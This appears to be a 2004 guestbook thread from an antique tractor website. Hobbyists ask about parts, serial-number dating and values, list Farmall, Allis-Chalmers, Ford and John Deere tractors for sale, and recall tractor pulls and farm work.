jerry arnold wrote on Wednesday, November 17, 2004 (PST):i am looking for a "power take off clutch" for a ford jubilee, part #T&ID 239201 it is a lever located just above the pto lever on the same plate that bolts at the same location of the pto lever on the right hand side, it's purpose is when the tractor is running with pto engaged it will move in whatever gear it is in provided the lever is pushed forward, but when lever is pushed back the tractor ceases to move but pto will continue to operate my tractor has quit pulling regardless of lever position and i need this part real bad
David E wrote on Wednesday, November 17, 2004 (PST):I am looking to buy a nice model 42 Silver King.Ifyou have one for sale, please call 1-765-459-8634 or email me.Thank you!
jeff emily wrote on Wednesday, November 17, 2004 (PST):i have a 44 diesel that has a bad injection pump but will fire on either 750.00 us funds you haul ,eminence ky
Adam Christensen wrote on Wednesday, November 17, 2004 (PST):I was wondering if anyone knew the value of a 1954 WD45 diesel I was looking to sell it It ran when parked 2 years ago and the body is in pretty good shape(no rust or dents)please email me If you can thanks.
Jeff Danalds wrote on Tuesday, November 16, 2004 (PST):I purchased a D17 diesel 2 years ago. It was mostly a pile of junk when I got it. Had the engine rebuilt by a great diesel machanic. it runs better now than it did when it was new. I use the tractor on my farm but have been looking for some sheet metal. The front grill and both side panels, and the tail lights on the fenders. [there not the same as a WD45] I would appriciate any ehlp al you allis fans can give me. Thanks
Chris Woodard wrote on Monday, November 15, 2004 (PST): I have a 1958 720 John Deere Diesel and I am trying to find out how much it's worth. If anyone knows of a place or web site that could tell me I would appreciate you letting me know by sending an email to my E-mail address. It is michigandragon720 at yahoo.com. Thank you.
DANNY SUTTON wrote on Monday, November 15, 2004 (PST):NEED GOVERNOR FOR 1942 B ALLIS CHAMBER TRACTOR ONE WHITH MAG 336 226 8426 WORK OR 336 584 3551
Phil Fiedler wrote on Sunday, November 14, 2004 (PST):Hi, I'm looking for a Farmall Cub that is in excellent to show quality. I'm in Florida. also would like to have a belly mower to go with it but not necessary. Thanks,
Brandon Jung wrote on Sunday, November 14, 2004 (PST):My father-n-law and I just got a VIAW that we are restoring. We currently have everything painted and working on the tractor but need to get a new military tire, exhaust, and seat. If anyone has any pictures of what the exhaust originaly looks like or what the seat material was please send me an email. Also if you want pictures of our tractor email and I can forward those to you.
Maggie wrote on Friday, November 12, 2004 (PST):My uncle is getting ready to sell his 1950 Jubilee Ford tractor. It has been used for farming watermelons for the past several years. It seems to run very well but, of course, it looks USED. He is asking me to make an offer and I have no idea what it is worth. Can someone tell me about how much is is worth. It has a bush hog, disc, turn plow and cultivator. Thanks for your time. Maggie
mena persaud wrote on Wednesday, November 10, 2004 (PST):i am looking for parts for Massy Ferguson model 2720 also the parts and service manual i know someone out there can help me Please feel free to contact me ASAP.Thanks
claude miller wrote on Wednesday, November 10, 2004 (PST):i grew up using a 1949 farmall cub, my dad bought it in 1955., and it was my first tractor experience, i thought at my age of 8 years that it was enormous, but now it is just a big lawn tractor nowadays. sadly enough, my dad sold it in 1978, i wish i had it now.
Lee Peterson wrote on Saturday, November 06, 2004 (PST):I would like to buy a model R if any one wants to sell one contact me at JohnDeereboy9400 at yahoo.com It does'nt have to be restored but needs to run and good tires.
Steve Boston wrote on Saturday, November 06, 2004 (PST):I remember spending many hours on a model U my Dad purchased in the 1960's. We were told it was a 1952 model and slightly different as I recall fromthe photo. Ours was tri-cycle type with large rear wheels - the hood actually had a slight incline rear to front. Decal on the tractor simply said U model. Had hand clutch, hand throttle, choke, gearshift, PTO engagement. The steering was a man-killer in rough ground. Huge power from the engine. Used it for silage cutting, filling and hay conditioning in southern Ohio.
1456 pulling agenst a D-21 ac wrote on Friday, November 05, 2004 (PST):i pull a 1456 it has a 4100 IH flywheel and clutch and lots more goodies.my 1456 has pulled 12000. i won the 12,000 lb class.a challenge was issued that i could not beat a pretty warm 15,000 lb class D-21 AC from our area. Bets were placed on the outcome. but my 1456 has a few more ponies under the hood. we both made full pulls. we came back around for the pull off. they added more weigh to the sled. the D-21 pull it short of a full pull. the old 1456 tightened the chain and blew it out the end. the ac people were shocked. i was a go sport about it and shook the D-21 drivers hand. he said you have a good runnin tractor. i said so do you and good pull. i sher do hav a lot of fun pulling that ol 1456.
856 puller. wrote on Friday, November 05, 2004 (PST):i pull a 856 with a turbo, 806,1066, and 1466. they are all good runners. i pull my 856 in the 10,500 class. she pulls agenst a 4020 with 466jd and i can still beet that 4020. the 856 has a 4100 flywheel and lots more goodies. i pull the 806 in 9500, the 1066 in 13500, and the 1466 in 15500. i pulled my buddys pete with a pot cattle out with the 856. she tightenedthe chain and blew it out the end.
Cody Isaak wrote on Friday, November 05, 2004 (PST):I have a Farmall A that I am restoring. I am going to use it for harrowing we use it for sawing wood.If anyone has a back tire for Farmall A please e-mail me.
Zeb James wrote on Thursday, November 04, 2004 (PST):I am considering purchasing a ford 8N tractor to convert into a funk V8. What is the going price for fair shaped tractor of this kind that needs some attention but not too much. I also would like to know where I can purchase a Funk V8 conversion.
Zeb James wrote on Thursday, November 04, 2004 (PST):I am considering purchasing a ford 8N tractor to convert into a funk V8. What is the going price for fair shaped tractor of this kind that needs some attention but not too much. I also would like to know where I can purchase a Funk V8 conversion.
Lou Venditti wrote on Thursday, November 04, 2004 (PST):I would like to buy A MF 135 diesel buildt in the 70s without mortgeing the farm. Also I have A MF 35 Deluxe gas with motor problems that I will sell or trade. Im in upstate NY.Thanks Lou
Bob wrote on Wednesday, November 03, 2004 (PST):I have a 1952 Super M that i have set up for pulling. My M is pushing out about 85 horses right now. I'd like to be able to push more horses out to be able to compeat in light weight classes with more horespower
craig b wrote on Tuesday, November 02, 2004 (PST):I am looking for model G axles/and housings for both left and right,standard long only,I do have chopped and shortend axles but want stock.Calls only 503 668 3052
Bill wrote on Monday, November 01, 2004 (PST):I have a 46 GM that I still use 150-200hrs a year. Just plowed a couple of acres with it. Its "fixed up" and painted. Wouldnt call it restored though. I have an old farmhand 6011 loader that I put on it to plow snow in the winter. I always intend to put it in the shop and totally restore it but I can imagine going without running it for the year or so it would take. Ive even started buying other tractors thinking that would give the ole G the break it needs to get a new lease on life. What a fine piece of machinery the G is.
RANDY SHOAFF wrote on Monday, November 01, 2004 (PST):I HAVE BOUGHT A OLIVER ROW CROP 60 AND NEED TO KNOW THE WEIGHT, HEIGHT, LENGTH AND WIDTH FOR SHIPPING PURPOSES.
EARL HARDEE wrote on Monday, November 01, 2004 (PST):I HAVE A SMD THAT THE STARTER AND FLYWHEEL TEETH HAVE GONE BAD. IS IT WORTH HAVING THE STARTER REBUILT AND THE FLYWHEEL REPLACED?
Richard Robinson wrote on Saturday, October 30, 2004 (PDT):A widow friend of mine has a restored IH Farmall Cub (not sure what year) that she wants to sell. Location is Borrego Springs CA 90 miles from LA or San Diego. Her husband bought the basic unit is god offal condition, lots missing, rusted, a real junker. He was an aviation machanic and was used to total restoration. The unit was totall disassembled, every part was bead blasted, primed and repainted. Many parts were bought from all over the US including from IH. He paid $1500 for the junker, spent another $4K to $6K in parts and perhaps >1000 hours. It looks & runs like new, I would bet he rebuilt the engine but not sure, used very little since restore. A real collectors item. QUESTION; What is the best way to sell it and get a fair price? I have about 20 photos if you are interested. Richard
Kenneth Brunkhorst wrote on Saturday, October 30, 2004 (PDT):I have an old Oliver 90 with the following on the brass block tag; Cockshutt Hart - Parr 509709 28-44 Oliver Farm Equipment Co. Hart - Parr Works Charles City, Iowa The radiator just has oliver cast in it. Can anyone tell me what the heck this really is? I can see the maple leaf and Cockshutt under two coats of green paint on the gas tank.
Don Stickelmaier wrote on Friday, October 29, 2004 (PDT):LI battery ground + or - I have seen both ways which is correct
Chris wrote on Friday, October 29, 2004 (PDT):1958 Farmall Cub with hydraulics, all garden implements, belly mower, snow plow. Runs good---moving. $2,000 O.B.O. Erie, PA
Kevin wrote on Thursday, October 28, 2004 (PDT):I just bought a 1953 Super md the serial number is f-12810-j the man said that is hasen't run in 3 years. It isen't seized but he said they had a prdoblem with the starter. This is my second tractor to restore my first was a smta. The deisel looks alot tougher. Any help would be appreciated.
Biged wrote on Thursday, October 28, 2004 (PDT):just purchased a 46 a high crop in bad need of paint otherwise runs
Clay Mask wrote on Thursday, October 28, 2004 (PDT):I have a 49 cub. I need to know how to set the points on it. Also is there a wiring diagram on the net so that I can wire it up correctlly. And how is the dist. cap numbered? The only number it has is a #1. Do I go clock wise for the rest of the order? Thanks.
timothy pyle wrote on Thursday, October 28, 2004 (PDT):have fcub for sell 1948 with belly mower 42 inch woods 423-658-2115 1600.00
KAREN KIRBY wrote on Monday, October 25, 2004 (PDT):Does anyone out there know if there is such a tractor or have a picture of a 1970 Cub? Thanks.
JohnRohlf wrote on Sunday, October 24, 2004 (PDT):I own a 1956 560d had it running a few years ago and it needed a new pump,since then I've had several people tring to buy it,if I decide to sell it I don't know what it's worth.everything is there ,family owned needs paint and tires need ideal for finding a resonal price to sell
George Showalter wrote on Friday, October 22, 2004 (PDT):I have a 1948 CASE DI am looking for; radiator cap, ring gear, starter bendex, gas cap... 907-776-8957
Bob Anguish wrote on Thursday, October 21, 2004 (PDT):.thanks for this I have a JD model LI ser.# 51194 can someone .tell me what year this is i am restoring it
Don Stickelmaier wrote on Thursday, October 21, 2004 (PDT):thanks J but the site only went up 1946 my serial # is past that # every article I read says they were not built after 1946. still trying to find out what year the LI is serial#IL52482 Thanks Don
Stephen Daly wrote on Wednesday, October 20, 2004 (PDT):Hi My Dad has a 1947 IH Farmall McCormick Cub and has been restoring it. The only problem is we live in Ireland and can' get the transfers for the Engine cover anywhere. Could anybody tell me whether these can be purchased over the net please? Thanks in advance for the help
Sean Mc Nulty wrote on Tuesday, October 19, 2004 (PDT):I have a MH744pd going and complete.I also have a MHd744 complete but no motor.the 744pd has front blade and the 744d has front bucket.They are both for sale.I live in N.S.W Australia.Contact me on blown2door at hotmail.com
Mark Slagle wrote on Tuesday, October 19, 2004 (PDT):I recently purchased a MH 55 (1953?) and would like to find out more about it. What I know is its a strong runner it has a 351ci 4 cylinder a weak hydro pump a belt drive for a saw?? I would say the tractor is in above aveage condition and it came with a brush hog. What I want to know is if anyone has mounted a 3point hitch on one? The horsepower? Original paint colors? What else the belt drive can be used for? please let me know if you have any info? additional pics would be cool also. thanks in advance
Roger Drouin wrote on Monday, October 18, 2004 (PDT):I have a D-15 Allis-Chalmers. It starts very well, but after some minutes, it stops. I can stard it not long after (some minutes) but it stops again and again. I change of all the fire systems, but the same problem exists. Who can help me?
boby wrote on Monday, October 18, 2004 (PDT):you got a crawler
boby wrote on Monday, October 18, 2004 (PDT):you got a crawler
Ron Dennis wrote on Monday, October 18, 2004 (PDT):I have a Farmall M, serial number FBK 53009. Does anyone out ther know what year this tractor was built, or know of a web site that has that information?
dennis hoyer wrote on Saturday, October 16, 2004 (PDT): i bought a M 8 weeks ago it hasn,t been used in around 10 years it smoked a lot when I first started useing it but now it is fine . It has slept in side all of it's life ,it is in real good shape . I paid $1,600 for it,I think I got a fair deal. Have fun be careful
Cole Thomas wrote on Saturday, October 16, 2004 (PDT):I have a 49-50 dc4. Where was the toolbox accually mounted? My number is (218)3346447 thanks lots cole
Bob Freije wrote on Friday, October 15, 2004 (PDT):I own a 1951 "G" tractor. It runs great ,has hydraulics middle and back. It comes with a 4' belly bushog,and cultivators. It is ready to work. See picture in tractor photos 1951 "G" BfFreije. Would sell for $3500. 317-852- 7204
j kauffman wrote on Thursday, October 14, 2004 (PDT):Ralph go to antique john deere.com you too don for the s/n of your LI.And you can purchase a manifold and any other L,LA,LI,(etc.)parts.
JimBroughton wrote on Tuesday, October 12, 2004 (PDT):To; James Barrett, re; gas tank,59 Cub...does it leak? or is it rust? is the threads on the shut-off valve/fuel bowl tight? or do they leak?..Remember, those tanks have a "baffle" in them to allow the tractor to work on uneven terrain, so if it's rust, it's "cleanable", but rather involved...I know, I had to clean mine several times until I got the rust out ! Post on here, or E-mail me and I will try to help. LOL, Jim
Don Stickelmaier wrote on Tuesday, October 12, 2004 (PDT):Does anyone out there have serial numbers for LI tractors after 1946. I have one with the serial number IL52482 can anyone tell what year this is any where i can get a wiring diagram thanks Don
raymond goeckler wrote on Monday, October 11, 2004 (PDT):i owned a '54 ih w-6,replaced pistons with domed 4",valves wih,rotoators,,hydrulics,build 3 pt.hitch,for it back in'64,it would go 25 mph in 5th.,pull 6ft wide disc tiller,great in rice field,haying,4 row middlebusters.
Darren B. wrote on Monday, October 11, 2004 (PDT):Hello all, my step father passed away suddenly in April and left an old tractor that was his pride and joy. It's a Cub but that's about all I know. My Mother can't operate this wonderful piece of history so we must sell it. Could someone please tell me what year this tractor is and what it might be worth? It's a IH Farmall Cub, on the RH side of the the frame is stamped 351686, on the LH side of the motor is stamped 251341R6. The tractor starts and runs just fine, has been well cared for and has no rust. There is no Hydraulic PTO, but it comes with a mower deck, a disc, and cultivator (?). Thanks in advance for any help!
Charles Lane wrote on Monday, October 11, 2004 (PDT):I was born and raised in Wilton Calif in 1946. During the late 40's My dad bought an ID9 in order to retire his 1920's era farmall. That ID9 was a working powerhouse, it pulled a GeeBee scraper,12ft double gang disk, a two point ripper (which you need in the hardpan dirt here in the northern San Jaquine Valley). It was sure neet to start the ID9, you started it on gasoline then after it was warmed up you swiched it over to diesel. The Farmall was retired over to haying duties ( mowing,raking, and bailing). In 1953 both tractors were retired due to the fact my dad bought a Furgeson TO35. Does any one have any info on my dad's Farmall? What model was it and so forth.... It's easy to reconize It had Rack & Pinion stearing not the worm gear as in 90% of the photos. Thanks
Yonder wrote on Monday, October 11, 2004 (PDT):Herb; If your number is 8N195717 it is a 1949. I have a 1952 8N505193, one of the latest ones built. My front main bering is damaged--it didn't get enough oil for some reason. I wonder if I should take out the crank shaft and have it turned? I would also like to know why this one bering was not getting oil while everything else is just fine. If anyone can give me advice I would love it. Also I have an old Whites Avenger hydromatic garden tractor that I cannot find any information about it. Would like any information that I can get--please reply anyone--Thank you.
Herb wrote on Saturday, October 09, 2004 (PDT):Just scraped down to a number--NI957I7. (Could be 8N195717. The number was engraved by hand.) Is this a 1949 tractor? It's for sale!
J. M. C. wrote on Saturday, October 09, 2004 (PDT):I've just aquired an unrestored but nicely running 1946 John Deere L A. It has a hydraulic blade on the front-end and I'm wondering if these were an option from Deere or was it some other kind of add-on? It steers very hard. This may be from the weight of the blade or is this tractor sust hard to steer? thanks
Barney Chapman wrote on Saturday, October 09, 2004 (PDT):We purchased a Ranch in Bosque County Texas in 1948. There was a MM Tractor, tricycle gear, 30 drawbar horsepower, no electrical. We used this tractor for years to farm 800 acres of oats and some wheat and corn. Can anyone tell me what model it was? We later aquired, about 1052 a 50 drawbar MM, tricycle front, with ligths, starter and ect. Although, we never stopped using the old tractor until we sold the Ranch in about1963. WHAT WERE THE TWO TRACTOR MODELS.
Herb Ehlers wrote on Friday, October 08, 2004 (PDT): I have a 1948 70 rc with aluminin hood and the side covers are also aluminim is that a common thing
pat moran wrote on Wednesday, October 06, 2004 (PDT):I have a complete VAC-14 with a loader and 3-pt with a stuck motor for sale and also a VC for parts. located in Connecticut
Leon Strauss wrote on Wednesday, October 06, 2004 (PDT):I have a Massey Harris 44k 1948 model.Want to know if anyone can help me find a stater.I am from South Africa.Also want to know the collor codes
Johnny IH wrote on Tuesday, October 05, 2004 (PDT):The 1066 is a real stinger! Regular coolant acidity checks help eliminate the O ring problem......you'd think a good mechanic (Your friend?) would pass this info along....it's called preventative maintenance....guess you got to do what you can to make work or go work for John Deere. Got a friend who quit pulling his 4440; afraid the transmission might go again, can't afford the big dollars to repair.
Dean Peterson wrote on Tuesday, October 05, 2004 (PDT):I was wondering if any knows where I might find instructions for mounting a one bottom mounted mowboard plow on an International Harvester Super A tractor?
Dennis Stuhr wrote on Monday, October 04, 2004 (PDT):Restoring my M. I need to repaint the front rims, have new rear rims which are gray. What does one call the grey color of the rims? I received a auto parts catalog with all sorts of paints for restoring vehicles.
chris wrote on Sunday, October 03, 2004 (PDT):i am helping my neice clear her fathers land of 30 years collection of mostly junk. out in the brush is an old but complete i-h crawler. tag notes-model d-9 serialis td6b42774. the blade has to be about 10 ft.wide. on the rear is good size "carco" winch. has not run in about 5-6 years. the motor is 4 cyl.&starts on gas,runs on diesel. wonder if this machine has any value? am afraid the scrap dealers might charge just to get rid of it. any answers would be welcome.
Jim wrote on Saturday, October 02, 2004 (PDT):I am looking for one of these (or a Ford flathead V8 conversion)that needs work. Price must be reasonable and needs to be within 1000 miles of Houston, TX If anyone knows of such a thing please email me. Thanks
harvey wrote on Friday, October 01, 2004 (PDT):i bought a d17 in high school for a $100 for a voag shop project and now i would like to find a loader and equip for it i just bought 5ac . looking for plow and any other equip for quick hitch
Jerry Carter wrote on Friday, October 01, 2004 (PDT):I was fortunate to have relatives who farmed in Kentucky. I spent many a summer day from age 10 to age 17 working on the farms. Relatives on both sides of the family had Allis Chalmers tractors. The three models most used were the G, the WD45 and the D17. They all were put to use on the farm. The G had an underbelly mower attachment and had cultivator attachment. It was used to cultivate tobacco. The WD 45's and the D17 were used for the other farm work. I have fond memories of family and these tractors. In fact when I think of family, orange tractors come to mind as well.
Leroy Hagen wrote on Thursday, September 30, 2004 (PDT):I am restoring a 1934 F-12 and am looking for the Farmall gray paint. If any one can point me in the right direction I would appreciate it. Thank you
James Barrett wrote on Wednesday, September 29, 2004 (PDT):Jim Broughton,I need to seal the gas tank on my 1959 cub. What is the best thing to use or do you recommend having it professionally sealed?
Jim Broughton wrote on Sunday, September 26, 2004 (PDT): To Clinton...the serial number plate is on the cast steering unit on RH side of the tractor, next to the steering rod from steering wheel. Get the number and post, we can tell you what year it was made. To Jame Hunter.... Your Cub is a 1949 model, late in the year, almost 1950 ! LOL Guys, Jim
Charlie wrote on Sunday, September 26, 2004 (PDT):For sell a 1948 farmall super A.IN VERY GOOD CONDeSION.Any one interrested in it
Sherry Wyatt wrote on Sunday, September 26, 2004 (PDT):I have a 1946 AC G that I woud like to sell. Have been advised to ask $2500.00. It cranks and has all parts and equipt. Also have a Ford 52N. Runs good and I just ran the bush hog on it yesterday. Would like to get $2500.00. Call at 256-593-4090, ask for Sherry. Or email.
Dave Arnn wrote on Thursday, September 23, 2004 (PDT):I recently purchased a 1951 8N and the gas tank needs replacing(rusted and leaking). Any suggestions on how to do this and what is the best option. New tank or fix old.
George wrote on Wednesday, September 22, 2004 (PDT):Have an H with 350 engine kit, 3 pt, power steering. Use it to cultivate tobacco, rake hay, pull hay wagons, etc. Got so much money in it, couldn't afford to sell it. Good tractor.
Edward Mackie wrote on Wednesday, September 22, 2004 (PDT):Hi I recieved I believe to be a ford dexta. It is a 4 cyl. gas and had a loader oon the front. It has been sitting in a field for 10yrs or so. when we went to move it its rear tires were siezed. we managed to unsieze one by towing it but the other one wont let go. Any help would be great and if any one can tell me about the brakes or anything about this tractor PLEASE help. THanks Edward
Dave Ball wrote on Wednesday, September 22, 2004 (PDT):Looking for a running Case Di 1942-1945 vintage would like a complete tractor needs not to be restored just good running condition. West coast area Thanks Dave
Kyle Ellis wrote on Tuesday, September 21, 2004 (PDT):I want to find a farmall M in ohio thats less than $2,000.
Walter Allen wrote on Monday, September 20, 2004 (PDT):I am new to the classic tractor scene, but having spent more days than I can count on John Deere's as a kid, I am now old enough to want to find an old one that has been rebuilt or maybe to rebuild. I would like to have an "R" model. I am doing some research on them now and will be more familiar in a short while, but if you know of a nice one for sale I would like to have the information. Thanks Walter Allen Vienna, WV PH-304-295-3333 Email - Driller at wirefire.com
Debbie D wrote on Sunday, September 19, 2004 (PDT):Greetings; I own an Alice Chalmer G Tractor. It has a mower and snow plow. It is in very good shape and runs. Do you have any idea what the value would be?
Scott Shotts wrote on Sunday, September 19, 2004 (PDT):My late uncle cut timber several years ago. I was a young teenager at the time. He used a WD45 AC with a loader. I remmember the tractor to be a work horse. It would pull logs out of the woods that I would of never thought it would. My father purchased the tractor after his passing. He used it for many tasks. He had it for several years. He no longer needed it,so he sold it. I had many memories of that tractor. It was a wide front in. It had a add on power steering kit. I will always look back on days on that tractor.
frank laibe wrote on Sunday, September 19, 2004 (PDT):a neighbor has 1954 lo-boy completely rebuilt. this includes a different carb. has belly mower. tractor runs good for a while then it starts to miss and stall. ohter times just trying to start off with mower engaged will stall. governor doesn't seem to kick in when power is called for. can anyone help us with this problem? would even accept phone call at 800-727-6441. just tell whoever answers you want to talk to frank. thanks
VALTS GROSKOPFS wrote on Sunday, September 19, 2004 (PDT):FOR SALE 1953FORD GOLDEN JUBILIE TRACTOR THAT HAS BEEN CONVERTED TO A 12 VOLT GREAT RUNNING CONDITION. IN ONARTIO CANADA.
Bob Rautio , Canterbury, CT. wrote on Saturday, September 18, 2004 (PDT):My very first tractor that I bought was a 1940 L w a one bottom plow, sawrig, and an old mower off a 1939 unstyled L. great little workhorse around the farm, too bad that Deere&Co. don't make them anymore, I'd have a fleet of them on the farm because of their size and power for in the Coops and Barns.
joe d. wrote on Saturday, September 18, 2004 (PDT):Over the years we farmed,we had 3 farmall''M''tractors.They were the best.You could always rely on them to start in any wheather and perform many jobs.One time we hooked two M's together to pull a manure spreader through four feet of drifted snow.Man,I miss those days.If I still farmed,I would'nt be without an 'M'or two around.They just don't quit.
J.L.Leasure wrote on Friday, September 17, 2004 (PDT):My Dad used a J.D.60 for many years with a 227 mounted corn picker.It always ran great.When he quit using it,it sat for nearly fifteen years in the shed neglected until a few months ago when I decided to get it running again.It only took a little tinkering with it to get it to fire right up.It sounded as good as it did years ago.I got it out,removed the picker and took it to show recently.It may not look pretty,but that old two cylinder sure has sweet sound.I REALLY love that tractor.Oh,by the way,it is a 1952 model.
James Hunter wrote on Friday, September 17, 2004 (PDT):I just bought a farmall cub and am trying to determine it's year, the only numbers I can read on the plate behind the steering box are;98688 and below 1800,on the engine on left side are 35 168-r1 with a 2 below,on right side is 251341r2l and below that 12 15 8.This is my first cub and any info would be helpfull as the man I got it from knew very little about it and he thinks its a 1948 but doesn't know for sure.
Clinton L Hammons wrote on Wednesday, September 15, 2004 (PDT):Question. How do I find the age of an old Farmall Cub tractor.
bill mcenery wrote on Tuesday, September 14, 2004 (PDT):need a parts supply for a massey 44 special could you help me please ?
MIKE SCHOFIELD wrote on Tuesday, September 14, 2004 (PDT):I have a 1948 cub that I would like to sell it run an has a ele. start I think it is in good shape we had it rebuilt about 15 yrs ago has been run or used very little it has a wood belly mower an a one bottom plow with it if you anybody that is looking please let me know. will try to take a pic an send it anyone that is interested
Adam Mergener wrote on Tuesday, September 14, 2004 (PDT):My name is Adam with the City of Midlothian. I have a 1924 Russell road grader that was left in the back forty of my Public Works facility and i understand it was the first road grader for this town. I proudly set it up on a concrete pad in front of my Service Center office. I was wondering should I try to get it restored and if I do, where would I get the materials? Or would it be worth my time. It really looks like its been through some hard working times. I couldnt imagine not having hydraulics or even cab and air considering Texas weather and the hard white rock. Please holler back if you have any comments.
tractor pulling kid wrote on Tuesday, September 14, 2004 (PDT):to keven jewell, dont get an H, they just arent competable anymore even with all the mods, get an M and lighten it up and get in 4000 pound range, and build up the engine there.. as far as shipping weight in guessing for an H 3800 pounds..
Eric Recksiedler wrote on Monday, September 13, 2004 (PDT):I'm looking for mainbearings for my case model D. Can anyone help me locate some?
Harold Fraleigh wrote on Sunday, September 12, 2004 (PDT):The model G Allis Chalmers mentioned on September 9, 2004 is no longer available. Thanks
Derek wrote on Sunday, September 12, 2004 (PDT):dear writer on june 08th 03, my dad owns a 730 diesel and its not orrdinary it has a cab and duals and more horse power to bein he put 830 rings and injectors in it and he has pulled it againts 820 jds and hasnt lost to one!! it is also one of the last 10 730s made because we checked the serial number and no i wouldnt be afaid to pull it againts yur rusty reds and my advise is to get off of the jd page if yur a farmall fan!!
JAY WULFF wrote on Friday, September 10, 2004 (PDT):First, I think the pic. is an orchard tractor. Second the correct color for the va series of tractors is Flambeu red.and they were all 6 volt systems.
les mcdaniel wrote on Friday, September 10, 2004 (PDT):I have a 1946 case va, that i'm trying to sell. Anyone who is interested, email me and I'll let you know more about it. Thank Les
JIM LITTLE wrote on Thursday, September 09, 2004 (PDT):My favorite story about the Deere model R was at an antique tractor pull. The top weight class had a restored R and an Oliver model GM 99 (all of which came with a GM supercharger).The R was pulling the sled and started to bog down and some were saying it was done. How wrong they were. It settled down into a lug and could not be stopped. Full pull. The whining Oliver came in second.
Dan C. Wiebe wrote on Thursday, September 09, 2004 (PDT):Just restored a 1948 8N. Has a two speed rear end. Needs a bit of carburetor work, but starts well and is fun to drive and own.
Harold Fraleigh wrote on Thursday, September 09, 2004 (PDT):I have a 1948 Allis Chalmers Model G that I will be selling soon. Just tuned up new plugs,wires, rotor, distribator cap, points and muffler. Runs fine.Email me if you are looking for a " G ". Thanks
Joe Simpson wrote on Monday, September 06, 2004 (PDT):I just purchest a 1927 regalar ,its not stuck .I gave $350 for it.It needs new rims or steel wheels.I restored a 1935 f20 last year .I got most of my parts at rice equipment out of Penn.If you get on the web site ytmag.com you can find info. on the years of the tractors everyone seems to be looking for.I hope I helped a few people.
rj wrote on Monday, September 06, 2004 (PDT):silver king tractor wanted to buy
Gerrit Ten Kley wrote on Sunday, September 05, 2004 (PDT):Caleb, My B has 2 wheels on the front. My father bought a new B in 1940 which also had 2 front wheels. I understand if the serial # has just B stamped without anything behind it, it denotes double front wheels. I have not seen a B with only one wheel Caleb I take it you were asking me your question.
kevin jewell wrote on Sunday, September 05, 2004 (PDT):hi iam looking for farmall tractor to pull can get an H but would like to know shipping weight and HP before buying thanks ....
Caleb Johnson wrote on Sunday, September 05, 2004 (PDT):Does your B have two wheels in front, because ours don't. My Dad has one with one wheel in front. Is that normal?
steve skiles wrote on Saturday, September 04, 2004 (PDT):can any one tell me how a cub dose with a belly more.i have a cub and a c farmall witch would be the best for the mower
Laura Wax wrote on Friday, September 03, 2004 (PDT):My father is looking for a 1950's SC case with eagle hitch and hand clutch on the left side. Does anyone know of one that someone is looking to sell? Location is not a problem, we will drive anywhere to get it.
Jason Van der Veen wrote on Tuesday, August 31, 2004 (PDT):Hello. I am looking for a Cub in the Pacific Northwest area. The ideal tractor would need a little work, but would be operational. In addition I would like to buy a belly mower. Any leads would be very helpful. Thank you.
Kelly Harris wrote on Tuesday, August 31, 2004 (PDT):Am looking for a 50-52 Ford 8N to restore and auction for my local united way. Need the tractor donated. IT IS A TAX DEDUCTIBLE DONATION and a receipt will be given from united way. Location is Arkansas but I can probably set up transport from any surrounding state. Any help would be greatly appreciated. I'm just an average 8N owner that loves restoring them but doesn't have the money to get another to restore. I have all parts paint body work tires etc lined up to be donated from local businesses just need a tractor now. Thanks for any help
Papafarmer wrote on Tuesday, August 31, 2004 (PDT):My yellow IH farmall 140 has a belly-mounted sickle bar mower. I bought it used about 30 years ago. Wonderful tractor!. Pulls a New Holland 68 Baler (with Motor) easily. Burnt up the wiring while charging the battery. (Don't know how it happened) Bought a 2-point (?) hitch years ago, still have the parts, lost the installation directions. If I had a loader for it, I'd never need another tractor.
Stumpy wrote on Tuesday, August 31, 2004 (PDT):Robert, I drove a 1937 model 42 Silver King in an old homes day parade this past Sat. We drove from his house to the parade, it will definetly go 22mph! What a nice tractor to drive. Had a great time.
Ted Simons wrote on Tuesday, August 31, 2004 (PDT):Can anyone tell me the year my "M" was manufactured. Serial # FBK 286993 X 1? Is it possible to tell where it was manufactured also by serial #?
Richard Doughtyk wrote on Monday, August 30, 2004 (PDT):I bought a MM G1000 LP about one year ago with only 100 hours on an overhaul. I love it. It plays with a heavy 15' Case disk. Often I use it to roll down mole hills in the yard. I figured that the MM on the front stands for Mole Masher.
Joe Barrett wrote on Monday, August 30, 2004 (PDT):mr sprague, you can find manuals on antiquetractorparts.com or any other old tractor parts website
Gregg Wills wrote on Sunday, August 29, 2004 (PDT):looking for a loader for a 52 vai case.that is ready to attach.it has a pto and eagle hitch..a loader in ohio or surrounding states would be nice,,thanks gregg wills in ohio
Everett wrote on Sunday, August 29, 2004 (PDT): Still have the F20 that my father bought new in 1938. When it became mine the engine was apart. I put a Case diesel in it out of a case 310 loader. Much quieter and a little faster--though not the torque. Spent many hours in the field
Jack Frost wrote on Sunday, August 29, 2004 (PDT):We own A 1066 turbo with A diamond cab And that tractor has gone 7,765 hours with out any repairs all we've put in it is oil And Fuel. We also Own A 5488 which we use to plow our 200 acres of corn. the 1066 used to plow until 3 years ago when we bought the 5488
Bill Hollis wrote on Saturday, August 28, 2004 (PDT):Hi, The 1947 cub in the picture looks great. I just restored a 1948 farmall cub. This is my 1st tractor it came with a woods 42c belly mower. But it is missing the front and back shields. Theses shields come as 1 complete wrap around part one for the front and one for the back. Maybe someone has a couple of old ones around they might like to sell. If so please e-mail me. Thanks bill
Steck wrote on Friday, August 27, 2004 (PDT):I have a 1955 300U, but the steering box is bad. Talking to the shops here in Minnesota they say it's common because of the design. Would like to convert to power stearing, but tough to find parts for either. If anyone has converted one from manual to power and still have the manual box in working condition, I'm looking. I was told by one salvage yard to find an IH715 combine and take all the hydrostatic steering components and put them on my tractor. Basically a servo control under the steering wheel (old gear box and linkages get removed)and you mount a hyd.ram on the front. Anyone done this, or seen it done.
Jennifer S. wrote on Friday, August 27, 2004 (PDT):I'm not sure who will even read this post but I came across this site while looking up some information on a 1952 Farmall Cub that I have and am looking to sell. The tractor was actually my dad's. He purchased it as what looked to me like a pile of rust but he put a lot of work and many hours into it and its beautiful now, fully restored. He used to belong to some clubs, showed it at local fairs and drove it in parades. He recently passed away and that is why we are selling it, although it kills us to sell it since he loved it so much. Anyone have any idea how much it might be worth. It has been always stored in a garage. I also have extra rims and tires for the rear of it. It has a 5ft. mower deck and dirt blade. If anyone can offer any info I'd appreciate it, just e-mail me. We really want to see it go to someone who will appreciate it and not park it somewhere outside where it will rust to crap. We would also like to see whoever buys it continue to show it with a sign that was made for it that specifies that my dad restored it (he put so much into it, it would break our hearts to see someone take credit for all his hard work). Anyway, if anyone has any thoughts please e-mail me. Thanks!
